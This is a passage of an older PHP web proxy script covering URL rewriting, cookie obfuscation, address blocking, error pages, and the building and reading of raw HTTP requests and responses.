  3058.     $urlobj=new aurl($url,$topurl);
  3059.     $new_url=($addproxy?$urlobj->surrogafy():$urlobj->get_url());
  3060.     if(!empty($urlquote)) $new_url="{$urlquote}{$new_url}{$urlquote}";
  3061.     return $new_url;
  3062. }
  3063.  
  3064. function framify_url($url,$frame_type=false){
  3065.     global $OPTIONS;
  3066. /*  if(
  3067.         ($frame_type!==PAGETYPE_FRAME_TOP || !$OPTIONS['URL_FORM']) &&
  3068.         ($frame_type!==PAGETYPE_FRAMED_PAGE && !PAGE_FRAMED)
  3069.     ) return $url;*/
  3070.     if($frame_type===PAGETYPE_NULL) return $url;
  3071.     //if(preg_match('/^(["\']).*\1$/is',$url)>0){
  3072.     if(
  3073.         ($url{0}=='"' && substr($url,-1)=='"') ||
  3074.         ($url{0}=='\'' && substr($url,-1)=='\'')
  3075.     ){
  3076.         $urlquote=$url{0};
  3077.         $url=substr($url,1,strlen($url)-2);
  3078.     }
  3079.     if(preg_match(FRAME_LOCK_REGEXP,$url)<=0){
  3080.         if($frame_type===PAGETYPE_FRAME_TOP) # && $OPTIONS['URL_FORM'])
  3081.             $query='&=';
  3082.         elseif($frame_type===PAGETYPE_FRAMED_CHILD) $query='.&=';
  3083.         elseif($frame_type===PAGETYPE_FRAMED_PAGE || PAGE_FRAMED) $query='_&=';
  3084.         else $query=null;
  3085.         $url=preg_replace(
  3086.             '/^([^\?]*)[\?]?'.PAGETYPE_MINIREGEXP.'([^#]*?[#]?.*?)$/',
  3087.             "\\1?={$query}\\3",$url,1);
  3088.     }
  3089.     if(!empty($urlquote)) $url="{$urlquote}{$url}{$urlquote}";
  3090.     return $url;
  3091. }
  3092.  
  3093. function proxenc($url){
  3094.     if($url{0}=='~' || strtolower(substr($url,0,3))=='%7e') return $url;
  3095.     $url=urlencode($url);
  3096.     $new_url=null;
  3097.     for($i=0;$i<strlen($url);$i++){
  3098.         $char=ord($url{$i});
  3099.         $char+=ord(substr(SESS_PREF,$i%strlen(SESS_PREF),1));
  3100.         while($char>126) $char-=94;
  3101.         $new_url.=chr($char);
  3102.     }
  3103.     #return '~'.base64_encode($new_url);
  3104.     return '~'.urlencode(base64_encode($new_url));
  3105. }
  3106.  
  3107. # }}}
  3108.  
  3109. # PROXY FUNCTIONS: ERRORS & EXITING {{{
  3110.  
  3111. function finish_noexit(){
  3112.     global $dns_cache_array;
  3113.     # save DNS Cache before exiting
  3114.     $_SESSION['DNS_CACHE_ARRAY']=$dns_cache_array;
  3115. }
  3116.  
  3117. function finish(){
  3118.     finish_noexit();
  3119.     exit();
  3120. }
  3121.  
  3122. function havok($errorno,$arg1=null,$arg2=null,$arg3=null){
  3123.     global $curr_url;
  3124.     $url=$curr_url;
  3125.     switch($errorno){
  3126.         case 1:
  3127.             $et='Bad IP Address';
  3128.             $ed=
  3129.                 "The IP address given ({$arg2}) is an impossible IP address, ".
  3130.                 "or the domain given ({$arg1}) was resolved to an impossible ".
  3131.                 'IP address.';
  3132.             break;
  3133.         case 2:
  3134.             $et='Address is Blocked';
  3135.             $ed=
  3136.                 'The administrator of this proxy service has decided to '.
  3137.                 "block this address, domain, or subnet.\n<br /><br />\n".
  3138.                 "Domain: {$arg1}\n<br />\nAddress: {$arg2}";
  3139.             break;
  3140.         case 3:
  3141.             $et='Could Not Resolve Domain';
  3142.             $ed=
  3143.                 "The domain of the URL given ({$arg1}) could not be resolved ".
  3144.                 'due to DNS issues or an errorneous domain name.';
  3145.             break;
  3146.         case 4:
  3147.             $et='Bad Filters';
  3148.             $ed=
  3149.                 'The administrator of this proxy has incorrectly configured '.
  3150.                 'his domain filters, or a domain given could not be resolved.';
  3151.             break;
  3152.         case 5:
  3153.             $et='Domain is Blocked';
  3154.             $ed=
  3155.                 'The administrator of this proxy has decided to block this '.
  3156.                 'domain.';
  3157.             break;
  3158.         case 6:
  3159.             $et='Could Not Connect to Server';
  3160.             $ed=
  3161.                 'An error has occurred while attempting to connect to '.
  3162.                 "\"{$arg1}\" on port \"{$arg2}\".";
  3163.             if($arg2 == 443)
  3164.                 $ed.='  Perhaps you need to enable SSL in your php.ini file.';
  3165.             break;
  3166.         case 7:
  3167.             $et='Invalid URL';
  3168.             $ed='The URL below was detected to be an invalid URL.';
  3169.             $url=$arg1;
  3170.             break;
  3171.         case 8:
  3172.             $et='Trying to Access Secure Page Through Insecure Connection';
  3173.             $ed=
  3174.                 'The site you are trying to access is secured by SSL, however '.
  3175.                 'you are accessing this proxy through an insecure connection. '.
  3176.                 'Please realize that any information you pass to this site is '.
  3177.                 'going to be transmitted on an insecure connection, with the '.
  3178.                 'potential of being intercepted.'.
  3179.                 '<br /><br />'.
  3180.                 "Domain to unlock: {$arg1}".
  3181.                 '<br /><br />'.
  3182.                 'If you wish to allow secure connections to this domain for '.
  3183.                 'this session, press continue below.  Otherwise, hit back.'.
  3184.                 '<br /><br />'.
  3185.                 '<input type="button" value="Back" style="float: left"'.
  3186.                 ' onclick="history.go(-1);" />'.
  3187.                 '<input type="button" value="Continue" style="float: right"'.
  3188.                 ' onclick="'.
  3189.                     'var ifrm=document.createElement(\'iframe\');'.
  3190.                     'ifrm.onload=function(){ location.reload(true); };'.
  3191.                     'ifrm.src=\''.THIS_SCRIPT.'?'.COOK_PREF.'_ssl_domain='.
  3192.                     "{$arg1}';".
  3193.                     'ifrm.style.height=\'0px\';'.
  3194.                     'ifrm.style.width=\'0px\';'.
  3195.                     'ifrm.style.border=\'0px\';'.
  3196.                     'var body=document.getElementsByTagName(\'body\')[0];'.
  3197.                     'body.appendChild(ifrm);'.
  3198.                 '" />'.
  3199.                 '<br />';
  3200.             break;
  3201.         case 9:
  3202.             $et='Recursion Error During Parsing';
  3203.             $ed=
  3204.                 'While trying to parse the page, the proxy encountered a '.
  3205.                 'recursion error and had to quit.';
  3206.             break;
  3207.     }
  3208.     $ed.="\n<br /><br />\nURL:&nbsp;{$url}";
  3209. ?>
  3210. <html>
  3211. <head>
  3212.     <title>Proxy Error</title>
  3213. </head>
  3214. <body>
  3215.     <div style="font-family: bitstream vera sans, trebuchet ms">
  3216.     <div style="border: 3px solid #FFFFFF; padding: 2px">
  3217.         <div style="
  3218.             float: left; border: 1px solid #602020; padding: 1px;
  3219.             background-color: #FFFFFF">
  3220.             <div style="
  3221.                 float: left; background-color: #801010; color: #FFFFFF;
  3222.                 font-weight: bold; font-size: 54px; padding: 2px;
  3223.                 padding-left: 12px; padding-right: 12px"
  3224.             >!</div>
  3225.         </div>
  3226.         <div style="float: left; width: 500px; padding-left: 20px">
  3227.             <div style="
  3228.                 border-bottom: 1px solid #000000; font-size: 12pt;
  3229.                 text-align: center; font-weight: bold; padding: 2px"
  3230.             >Error: <?php echo($et); ?></div>
  3231.             <div style="padding: 6px"><?php echo($ed); ?></div>
  3232.         </div>
  3233.     </div></div>
  3234. </body>
  3235. </html>
  3236. <?php finish(); }
  3237.  
  3238. # }}}
  3239.  
  3240. # PROXY FUNCTIONS: TCP/IP {{{
  3241.  
  3242. function ipbitter($ipaddr){
  3243.     $ipsplit=explode('.',$ipaddr);
  3244.     for($i=0;$i<4;$i++){
  3245.         $ipsplit[$i]=decbin($ipsplit[$i]);
  3246.         $ipsplit[$i]=str_repeat('0',8-strlen($ipsplit[$i])).$ipsplit[$i];
  3247.     }
  3248.     return implode(null,$ipsplit);
  3249. }
  3250.  
  3251. function ipcompare($iprange,$ip){
  3252.     $iprarr=explode('/',$iprange);
  3253.     $ipaddr=$iprarr[0];
  3254.     $mask=$iprarr[1];
  3255.     $maskbits=str_repeat('1',$mask).str_repeat('0',$mask);
  3256.     $ipbits=ipbitter($ipaddr);
  3257.     $ipbits2=ipbitter($ip);
  3258.     return (($ipbits & $maskbits)==($ipbits2 & $maskbits));
  3259. }
  3260.  
  3261. function ip_check($ip,$mask=false){
  3262.     $ipseg='(?:[01]?[0-9]{1,2}|2(?:5[0-5]|[0-4][0-9]))';
  3263.     return preg_match("/^(?:$ipseg\.){0,3}$ipseg".($mask?'\/[0-9]{1,2}':null).
  3264.         '$/i',$ip); #*
  3265. }
  3266.  
  3267. function gethostbyname_cacheit($address){
  3268.     global $dns_cache_array;
  3269.     $ipaddr=gethostbyname($address);
  3270.     $dns_cache_array[$address]=array('time'=>time(), 'ipaddr'=>$ipaddr);
  3271.     return $ipaddr;
  3272. }
  3273.  
  3274. function gethostbyname_cached($address){
  3275.     global $dns_cache_array;
  3276.     if(isset($dns_cache_array[$address]))
  3277.         return $dns_cache_array[$address]['ipaddr'];
  3278.     return gethostbyname_cacheit($address);
  3279. }
  3280.  
  3281. function get_check($address){
  3282.     global $CONFIG;
  3283.     if(strrchr($address,'/')) $address=substr(strrchr($address,'/'),1);
  3284.     $ipc=ip_check($address);
  3285.     $addressip=(ip_check($address)?$address:gethostbyname_cached($address));
  3286.     if(!ip_check($addressip)) havok(1,$address,$addressip);
  3287.     foreach($CONFIG['BLOCKED_ADDRESSES'] as $badd){
  3288.         if(!$ipc)
  3289.             if(
  3290.                 strlen($badd)<=strlen($address) &&
  3291.                 substr($address,strlen($address)-strlen($badd),
  3292.                     strlen($badd))==$badd
  3293.             ) havok(5);
  3294.         if($badd==$addressip) havok(2,$address,$addressip);
  3295.         elseif(ip_check($badd,true)){
  3296.             if(ipcompare($badd,$addressip)) havok(2,$address,$addressip);
  3297.         }
  3298.         else{
  3299.             $baddip=gethostbyname_cached($badd);
  3300.             if(empty($baddip)) havok(4);
  3301.             if($baddip==$addressip) havok(2,$address,$addressip);
  3302.         }
  3303.     }
  3304.     return $addressip;
  3305. }
  3306.  
  3307. # }}}
  3308.  
  3309. # PROXY FUNCTIONS: HTTP {{{
  3310.  
  3311. function httpclean($str,$variable=false){
  3312.     if($variable)
  3313.         return str_replace('"','%22',str_replace(' ','%20',
  3314.             preg_replace('/([^"\[\]\-_\.0-9a-zA-Z ])/e',
  3315.                 '\'%\'.(strlen(dechex(ord(\'\1\')))==1?\'0\':null).'.
  3316.                 'strtoupper(dechex(ord(\'\1\')))',
  3317.             $str)));
  3318.     else
  3319.         return str_replace('"','%22',str_replace(' ','%20',
  3320.             preg_replace('/([^"\-_\.0-9a-zA-Z ])/e',
  3321.                 '\'%\'.(strlen(dechex(ord(\'\1\')))==1?\'0\':null).'.
  3322.                 'strtoupper(dechex(ord(\'\1\')))',
  3323.             $str)));
  3324. }
  3325.  
  3326. function getpage($urlobj){
  3327.     global $CONFIG,$OPTIONS,$proxy_variables;
  3328.  
  3329.     # Generate HTTP packet content {{{
  3330.  
  3331.     $content=null;
  3332.     if(isset($_SERVER['CONTENT_TYPE']))
  3333.         $content_type = $_SERVER['CONTENT_TYPE'];
  3334.     else
  3335.         $content_type = 'text/html';
  3336.     $is_formdata=substr($content_type,0,19)=='multipart/form-data';
  3337.  
  3338.     # Generate for multipart & handle file uploads {{{
  3339.  
  3340.     if($is_formdata){
  3341.         $strnum=null;
  3342.         for($i=0; $i<29; $i++) $strnum.=rand(0,9);
  3343.         $boundary="---------------------------{$strnum}";
  3344.  
  3345.         # parse POST variables
  3346.         while(list($key,$val)=each($_POST)){
  3347.             if(!is_array($val)){
  3348.                 $content.=
  3349.                     "--{$boundary}\r\n".
  3350.                     "Content-Disposition: form-data; name=\"{$key}\"\r\n".
  3351.                     "\r\n{$val}\r\n";
  3352.             }
  3353.             else{
  3354.                 while(list($key2,$val2)=each($val)){
  3355.                     $content.=
  3356.                         "--{$boundary}\r\n".
  3357.                         "Content-Disposition: form-data; name=\"{$key}[]\"\r\n".
  3358.                         "\r\n{$val2}\r\n";
  3359.                 }
  3360.             }
  3361.         }
  3362.  
  3363.         # parse uploaded files
  3364.         while(list($key,$val)=each($_FILES)){
  3365.             if(!is_array($val['name'])){
  3366.                 $fcont=file_get_contents($val['tmp_name']);
  3367.                 @unlink($val['tmp_name']);
  3368.                 $content.=
  3369.                     "--{$boundary}\r\n".
  3370.                     "Content-Disposition: form-data; name=\"{$key}\"; ".
  3371.                         "filename=\"{$val['name']}\"\r\n".
  3372.                     "Content-Type: {$val['type']}\r\n".
  3373.                     "\r\n{$fcont}\r\n";
  3374.             }
  3375.             else{
  3376.                 for($i=0; $i<count($val['name']); $i++){
  3377.                     $fcont=file_get_contents($val['tmp_name'][$i]);
  3378.                     @unlink($val['tmp_name'][$i]);
  3379.                     $content.=
  3380.                         "--{$boundary}\r\n".
  3381.                         "Content-Disposition: form-data; name=\"{$key}[]\"; ".
  3382.                             "filename=\"{$val['name'][$i]}\"\r\n".
  3383.                         "Content-Type: {$val['type'][$i]}\r\n".
  3384.                         "\r\n{$fcont}\r\n";
  3385.                 }
  3386.             }
  3387.         }
  3388.         $content.="--{$boundary}--\r\n";
  3389.     }
  3390.  
  3391.     # }}}
  3392.  
  3393.     # Generate for standard POST {{{
  3394.  
  3395.     else{
  3396.         $postkeys=array_keys($_POST);
  3397.         foreach($postkeys as $postkey){
  3398.             if(!in_array($postkey,$proxy_variables)){
  3399.                 if(!is_array($_POST[$postkey]))
  3400.                     $content.=
  3401.                         ($content!=null?'&':null).
  3402.                         httpclean($postkey,true).'='.
  3403.                             httpclean($_POST[$postkey]);
  3404.                 else{
  3405.                     foreach($_POST[$postkey] as $postkey_key=>$postkey_val){
  3406.                         if($postkey_key === 0)
  3407.                             $inner_text='';
  3408.                         else
  3409.                             $inner_text=$postkey_key;
  3410.  
  3411.                         $content.=
  3412.                             ($content!=null?'&':null).
  3413.                             httpclean($postkey."[{$inner_text}]",true).'='.
  3414.                                 httpclean($postkey_val);
  3415.                     }
  3416.                 }
  3417.             }
  3418.         }
  3419.  
  3420.         // POST variables without values
  3421.         $raw_post=file_get_contents('php://input');
  3422.         preg_match_all('/(?:^|&)([^&=]+)(?:&|$)/',$raw_post,$matches);
  3423.         foreach($matches[1] as $match){
  3424.             $content.=($content!=null?'&':null).httpclean($match,true);
  3425.         }
  3426.     }
  3427.  
  3428.     # }}}
  3429.  
  3430.     # }}}
  3431.  
  3432.     # URL setup {{{
  3433.  
  3434.     # don't access SSL sites unless the proxy is being accessed through SSL too
  3435.     if(
  3436.         $urlobj->get_proto()=='https' && $CONFIG['PROTO']!='https' &&
  3437.         (
  3438.             !isset($_SESSION['ssl_domains']) ||
  3439.             !is_array($_SESSION['ssl_domains']) ||
  3440.             (
  3441.                 isset($_SESSION['ssl_domains']) &&
  3442.                 is_array($_SESSION['ssl_domains']) &&
  3443.                 !in_array($urlobj->get_servername(),$_SESSION['ssl_domains'])
  3444.             )
  3445.         )
  3446.     ){
  3447.         # ignore certain file types from worrying about this
  3448.         $skip = false;
  3449.         foreach($CONFIG['SSL_WARNING_IGNORE_FILETYPES'] as $filetype){
  3450.             if(substr($urlobj->get_file(), -strlen($filetype)) == $filetype)
  3451.                 $skip = true;
  3452.         }
  3453.         if(!$skip) havok(8,$urlobj->get_servername());
  3454.     }
  3455.  
  3456.     # get request URL
  3457.     $query=$urlobj->get_query();
  3458.     $requrl=
  3459.         $urlobj->get_path().
  3460.         $urlobj->get_file().
  3461.         (!empty($query)?"?{$query}":null);
  3462.  
  3463.     # }}}
  3464.  
  3465.     # HTTP Authorization and Cache stuff {{{
  3466.     $http_auth=null;
  3467.     if(extension_loaded('apache')){
  3468.         $fail=false;
  3469.         $cheaders=getallheaders();
  3470.         $http_auth=$reqarray['Authorization'];
  3471.     }
  3472.     else $fail=true;
  3473.  
  3474.     $authorization=
  3475.         ($fail?
  3476.             isset($_SERVER['HTTP_AUTHORIZATION']) &&
  3477.                 $_SERVER['HTTP_AUTHORIZATION']:
  3478.             $cheaders['Authorization']);
  3479.     $cache_control=
  3480.         ($fail?
  3481.             isset($_SERVER['HTTP_CACHE_CONTROL']) &&
  3482.                 $_SERVER['HTTP_CACHE_CONTROL']:
  3483.             $cheaders['Cache-Control']);
  3484.     $if_modified=
  3485.         ($fail?
  3486.             isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) &&
  3487.                 $_SERVER['HTTP_IF_MODIFIED_SINCE']:
  3488.          $cheaders['If-Modified-Since']);
  3489.     $if_none_match=
  3490.         ($fail?
  3491.             isset($_SERVER['HTTP_IF_NONE_MATCH']) &&
  3492.                 $_SERVER['HTTP_IF_NONE_MATCH']:
  3493.             $cheaders['If-None-Match']);
  3494.  
  3495.     if($fail){
  3496.         if(!empty($authorization)) $http_auth=$authorization;
  3497.         elseif(
  3498.             !empty($_SERVER['PHP_AUTH_USER']) &&
  3499.             !empty($_SERVER['PHP_AUTH_PW'])
  3500.         ) $http_auth=
  3501.             'Basic '.
  3502.             base64_encode(
  3503.                 "{$_SERVER['PHP_AUTH_USER']}:{$_SERVER['PHP_AUTH_PW']}");
  3504.         elseif(!empty($_SERVER['PHP_AUTH_DIGEST']))
  3505.             $http_auth="Digest {$_SERVER['PHP_AUTH_DIGEST']}";
  3506.     }
  3507.     # }}}
  3508.  
  3509.     # HTTP packet construction {{{
  3510.  
  3511.     # figure out what we are connecting to
  3512.     if($OPTIONS['TUNNEL_IP']!=null && $OPTIONS['TUNNEL_PORT']!=null){
  3513.         $servername=$OPTIONS['TUNNEL_IP'];
  3514.         $ipaddress=get_check($servername);
  3515.         $portval=$OPTIONS['TUNNEL_PORT'];
  3516.         $requrl=$urlobj->get_url(false);
  3517.     }
  3518.     else{
  3519.         $servername=$urlobj->get_servername();
  3520.         $ipaddress=
  3521.             (
  3522.                 $urlobj->get_proto()=='ssl' || $urlobj->get_proto()=='https'?
  3523.                 'ssl://':
  3524.                 null
  3525.             ).
  3526.             get_check($servername);
  3527.         $portval=$urlobj->get_portval();
  3528.     }
  3529.  
  3530.     # begin packet construction
  3531.     $out=
  3532.         ($content==null?'GET':'POST').' '.
  3533.             str_replace(' ','%20',$requrl)." HTTP/1.1\r\n".
  3534.         "Host: ".$urlobj->get_servername().
  3535.             (
  3536.                 ($portval!=80 && (
  3537.                     $urlobj->get_proto()=='https'?$portval!=443:true
  3538.                 ))?
  3539.                 ":$portval":
  3540.                 null
  3541.             )."\r\n";
  3542.  
  3543.     # user agent and auth headers
  3544.     if($OPTIONS['USER_AGENT']!='-1' && !empty($OPTIONS['USER_AGENT'])){
  3545.         $out.="User-Agent: {$OPTIONS['USER_AGENT']}\r\n";
  3546.     }
  3547.     if(!empty($http_auth)) $out.="Authorization: {$http_auth}\r\n";
  3548.  
  3549.     # referer headers
  3550.     global $referer;
  3551.     if(!$OPTIONS['REMOVE_REFERER'] && !empty($referer))
  3552.         $out.='Referer: '.str_replace(' ','+',$referer)."\r\n";
  3553.  
  3554.     # POST headers
  3555.     if($content!=null)
  3556.         $out.=
  3557.             'Content-Length: '.strlen($content)."\r\n".
  3558.             'Content-Type: '.
  3559.                 (
  3560.                     $is_formdata?
  3561.                     "multipart/form-data; boundary={$boundary}":
  3562.                     'application/x-www-form-urlencoded'
  3563.                 )."\r\n";
  3564.  
  3565.     # cookie headers
  3566.     global $cook_prefix;
  3567.     if(!$OPTIONS['REMOVE_COOKIES'] && count($_COOKIE)>0){
  3568.         $addtoout=null;
  3569.         reset($_COOKIE);
  3570.         while(list($key,$val)=each($_COOKIE)){
  3571.             if(
  3572.                 $key{0}!='~' && strtolower(substr($key,0,3))!='%7e' &&
  3573.                 str_replace(COOKIE_SEPARATOR,'',$key)==$key
  3574.             ) continue;
  3575.             if($OPTIONS['ENCRYPT_COOKIES']){
  3576.                 $key=proxdec($key);
  3577.                 $val=proxdec($val);
  3578.             }
  3579.             $cook_domain=
  3580.                 substr($key,0,strpos($key,COOKIE_SEPARATOR)).COOKIE_SEPARATOR;
  3581.             if(
  3582.                 substr($cook_prefix,strlen($cook_prefix)-strlen($cook_domain),
  3583.                     strlen($cook_domain))!=$cook_domain
  3584.             ) continue;
  3585.             $key=
  3586.                 substr($key,strlen($cook_domain),
  3587.                     strlen($key)-strlen($cook_domain));
  3588.             if(!in_array($key,$proxy_variables)) $addtoout.=" $key=$val;";
  3589.         }
  3590.         if(!empty($addtoout)){
  3591.             $addtoout.="\r\n";
  3592.             $out.="Cookie:{$addtoout}";
  3593.         }
  3594.     }
  3595.  
  3596.     # final packet headers and content
  3597.     $out.=
  3598.         "Accept: */*;q=0.1\r\n".
  3599.         ($CONFIG['GZIP_PROXY_SERVER']?"Accept-Encoding: gzip,deflate\r\n":null).
  3600.         //"Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n".
  3601.         //"Accept-Language: en-us,en:q=0.5\r\n".
  3602.         /*/
  3603.         "Keep-Alive: 300\r\n".
  3604.         "Connection: keep-alive\r\n".                          /*/
  3605.         "Connection: close\r\n".                               //*/
  3606.         ($cache_control!=null?"Cache-Control: {$cache_control}\r\n":null).
  3607.         ($if_modified!=null?"If-Modified-Since: {$if_modified}\r\n":null).
  3608.         ($if_none_match!=null?"If-None-Match: {$if_none_match}\r\n":null).
  3609.         "\r\n{$content}";
  3610.  
  3611.     # }}}
  3612.  
  3613.     # Ignore SSL errors {{{
  3614.  
  3615.     # This part ignores any "SSL: fatal protocol error" errors, and makes sure
  3616.     # other errors are still triggered correctly
  3617.     function errorHandle($errno,$errmsg){
  3618.         if(
  3619.             $errno<=E_PARSE && (
  3620.                 $errno!=E_WARNING ||
  3621.                 substr($errmsg,-25)!='SSL: fatal protocol error'
  3622.             )
  3623.         ){
  3624.             restore_error_handler();
  3625.             trigger_error($errmsg,$errno<<8);
  3626.             set_error_handler('errorHandle');
  3627.         }
  3628.     }
  3629.     set_error_handler('errorHandle');
  3630.  
  3631.     # }}}
  3632.  
  3633.     # Send HTTP Packet {{{
  3634.  
  3635.     if(!$CONFIG['PERSISTENT_CONNECTIONS']){
  3636.         $fp=@fsockopen($ipaddress,$portval,$errno,$errval,5)
  3637.             or havok(6,$servername,$portval);
  3638.         stream_set_timeout($fp,5);
  3639.     } else {
  3640.         $fp=@pfsockopen($ipaddress,$portval,$errno,$errval,5)
  3641.             or havok(6,$servername,$portval);
  3642.         stream_set_timeout($fp,$CONFIG['PERSISTENT_CONNECTIONS_TIMEOUT']);
  3643.         # for persistent connections, this may be necessary
  3644.         /*
  3645.         $ub=stream_get_meta_data($fp);
  3646.         $ub=$ub['unread_bytes'];
  3647.         if($ub>0) fread($fp,$ub);
  3648.         */
  3649.     }
  3650.     fwrite($fp,$out);
  3651.  
  3652.     # }}}
  3653.  
  3654.     # Retrieve and Parse response headers {{{
  3655.  
  3656.     $response='100';
  3657.     while($response=='100'){
  3658.         $responseline=fgets($fp,8192);
  3659.         $response=substr($responseline,9,3);
  3660.  
  3661.         global $headers;
  3662.         $headers=array();
  3663.         while($curline!="\r\n" && $curline=fgets($fp,8192)){
  3664.             $harr=explode(':',$curline,2);
  3665.             $headers[strtolower($harr[0])][]=trim($harr[1]);
  3666.         }
  3667.     }
  3668.  
  3669.     //if($headers['pragma'][0]==null) header('Pragma: public');
  3670.     //if($headers['cache-control'][0]==null) header('Cache-Control: public');
  3671.     //if($headers['last-modified'][0]==null && $headers['expires']==null)
  3672.     //  header('Expires: '.date('D, d M Y H:i:s e',time()+86400));
  3673.  
  3674.     # read and store cookies
  3675.     if(!$OPTIONS['REMOVE_COOKIES']){
  3676.         global $cook_prefdomain;
  3677.         for($i=0;$i<count($headers['set-cookie']);$i++){
  3678.             $thiscook=explode('=',$headers['set-cookie'][$i],2);
  3679.             if(!strpos($thiscook[1],';')) $thiscook[1].=';';
  3680.             $cook_val=substr($thiscook[1],0,strpos($thiscook[1],';'));
  3681.             $cook_domain=
  3682.                 preg_replace('/^.*domain=[   ]*\.?([^;]+).*?$/i','\1',
  3683.                     $thiscook[1]); #*
  3684.             if($cook_domain==$thiscook[1]) $cook_domain=$cook_prefdomain;
  3685.             elseif(
  3686.                 substr($cook_prefdomain,
  3687.                     strlen($cook_prefdomain)-strlen($cook_domain),
  3688.                     strlen($cook_domain))!=$cook_domain
  3689.             ) continue;
  3690.             $cook_name=
  3691.                 str_replace('.','_',$cook_domain).COOKIE_SEPARATOR.$thiscook[0];
  3692.             if($OPTIONS['ENCRYPT_COOKIES']){
  3693.                 $cook_name=proxenc($cook_name);
  3694.                 $cook_val=proxenc($cook_val);
  3695.             }
  3696.             dosetcookie($cook_name,$cook_val);
  3697.         }
  3698.     }
  3699.  
  3700.     # page redirected, send it back to the user
  3701.     if($response{0}=='3' && $response{1}=='0' && $response{2}!='4'){
  3702.         $redirurl=framify_url(
  3703.             surrogafy_url($headers['location'][0],$urlobj),
  3704.             NEW_PAGETYPE_FRAMED_PAGE
  3705.         );
  3706.  
  3707.         fclose($fp);
  3708.         restore_error_handler();
  3709.  
  3710.         finish_noexit();
  3711.         header("Location: {$redirurl}");
  3712.         exit();
  3713.     }
  3714.  
  3715.     # parse the rest of the headers
  3716.     $oheaders=$headers;
  3717.     $oheaders['location']=$oheaders['content-length']=
  3718.         $oheaders['content-encoding']=$oheaders['set-cookie']=
  3719.         $oheaders['transfer-encoding']=$oheaders['connection']=
  3720.         $oheaders['keep-alive']=$oheaders['pragma']=$oheaders['cache-control']=
  3721.         $oheaders['expires']=null;
  3722.  
  3723.     while(list($key,$val)=each($oheaders))
  3724.         if(!empty($val[0])) header("{$key}: {$val[0]}");
  3725.     unset($oheaders);
  3726.     header("Status: {$response}");
  3727.  
  3728.     # }}}
  3729.  
  3730.     # Retrieve content {{{
  3731.  
  3732.     if(
  3733.         substr($headers['content-type'][0],0,4)=='text' ||
  3734.         substr($headers['content-type'][0],0,22)=='application/javascript' ||
  3735.         substr($headers['content-type'][0],0,24)=='application/x-javascript'
  3736.     ){
  3737.         $justoutput=false;
  3738.         $justoutputnow=false;
  3739.     }
  3740.     else{
  3741.         $justoutputnow=($headers['content-encoding'][0]=='gzip'?false:true);
  3742.         $justoutput=true;
  3743.     }
  3744.  
  3745.     # Transfer-Encoding: chunked
  3746.     if($headers['transfer-encoding'][0]=='chunked'){
  3747.         $body=null;
  3748.         $chunksize=null;
  3749.         while($chunksize!==0){
  3750.             $chunksize=intval(fgets($fp,8192),16);
  3751.             $bufsize=$chunksize;
  3752.             while($bufsize>=1){
  3753.                 $chunk=fread($fp,$bufsize);
  3754.                 if($justoutputnow) echo $chunk;
  3755.                 else $body.=$chunk;
  3756.                 $bufsize-=strlen($chunk);
  3757.             }
  3758.             fread($fp,2);
  3759.         }
  3760.     }
  3761.  
  3762.     # Content-Length stuff - commented for even more chocolatey goodness
  3763.     # Some servers really botch this up it seems...
  3764.     /*elseif($headers['content-length'][0]!=null){
  3765.         $conlen=$headers['content-length'][0];
  3766.         $body=null;
  3767.         for($i=0;$i<$conlen;$i+=$read){
  3768.             $read=($conlen-$i<8192?$conlen-$i:8192);
  3769.             $byte=fread($fp,$read);
  3770.             if($justoutputnow) echo $byte;
  3771.             else $body.=$byte;
  3772.         }
  3773.     }*/
  3774.  
  3775.     # Generic stream getter
  3776.     else{
  3777.         if(function_exists('stream_get_contents')){
  3778.             if($justoutputnow) echo stream_get_contents($fp);
  3779.             else $body=stream_get_contents($fp);
  3780.         }
  3781.         else{
  3782.             $body=null;
  3783.             while(true){
  3784.                 $chunk=fread($fp,8192);
  3785.                 if(empty($chunk)) break;
  3786.                 if($justoutputnow) echo $chunk;
  3787.                 else $body.=$chunk;
  3788.             }
  3789.         }
  3790.     }
  3791.  
  3792.     fclose($fp);
  3793.     restore_error_handler();
  3794.  
  3795.     # }}}
  3796.  
  3797.     # GZIP, output, and return {{{
  3798.  
  3799.     if(
  3800.         isset($headers['content-encoding'][0]) &&
  3801.         $headers['content-encoding'][0]=='gzip'
  3802.     ){
  3803.         # http://us2.php.net/manual/en/function.gzdecode.php
  3804.         $temp=tempnam('/tmp','ff');
  3805.         @file_put_contents($temp,$body);
  3806.         ob_start();
  3807.         readgzfile($temp);
  3808.         $body=ob_get_clean();
  3809.         unlink($temp);
  3810.     }
  3811.     if($justoutput){
  3812.         if(!$justoutputnow) echo $body;
  3813.         finish();
  3814.     }
  3815.  
  3816.     return $body;
  3817.  
  3818.     # }}}
  3819.  
  3820. }
  3821.  
  3822. # }}}
  3823.  
  3824. # }}}
  3825.  
  3826. # PROXY EXECUTION {{{
  3827.  
  3828. # PROXY_EXECUTION: REDIRECT IF FORM INPUT {{{
  3829.  
  3830. if(IS_FORM_INPUT){
  3831.     $theurl=framify_url(surrogafy_url(ORIG_URL,null),PAGETYPE_FRAME_TOP);
  3832.     header("Location: {$theurl}");
  3833.     finish();
  3834. }
  3835.  
  3836. # }}}
  3837.  
  3838. # PROXY EXECUTION: REFERER {{{
  3839.  
  3840. global $referer;
  3841. if(
  3842.     isset($_SERVER['HTTP_REFERER']) &&
  3843.     $_SERVER['HTTP_REFERER']!=null &&
  3844.     !$OPTIONS['REMOVE_REFERER']
  3845. ){
  3846.     $refurlobj=new aurl($_SERVER['HTTP_REFERER'], null, true);
  3847.     $referer=proxdec(preg_replace(
  3848.         '/^=(?:\&=|_\&=|\.\&=)?([^\&]*)[\s\S]*$/i','\1',
  3849.         $refurlobj->get_query()
  3850.     ));
  3851. }
  3852. else $referer=null;
  3853.  
  3854. #$getkeys=array_keys($_GET);
  3855. #foreach($getkeys as $getvar){
  3856. #   if(!in_array($getvar,$proxy_variables)){
  3857. #       $curr_url.=
  3858. #           (strpos($curr_url,'?')===false?'?':'&').
  3859. #           "$getvar=".urlencode($_GET[$getvar]);
  3860. #   }
  3861. #}
  3862.  
  3863. # }}}
  3864.  
  3865. # PROXY EXECUTION: DNS CACHE {{{
  3866.  
  3867. if(!isset($_SESSION['DNS_CACHE_ARRAY'])) $dns_cache_array=array();
  3868. else $dns_cache_array=$_SESSION['DNS_CACHE_ARRAY'];
  3869.  
  3870. # purge old records from DNS cache
  3871. while(list($key,$entry)=each($dns_cache_array)){
  3872.     if($entry['time']<time()-($CONFIG['DNS_CACHE_EXPIRE']*60))
  3873.         unset($dns_cache_array[$key]);
  3874. }
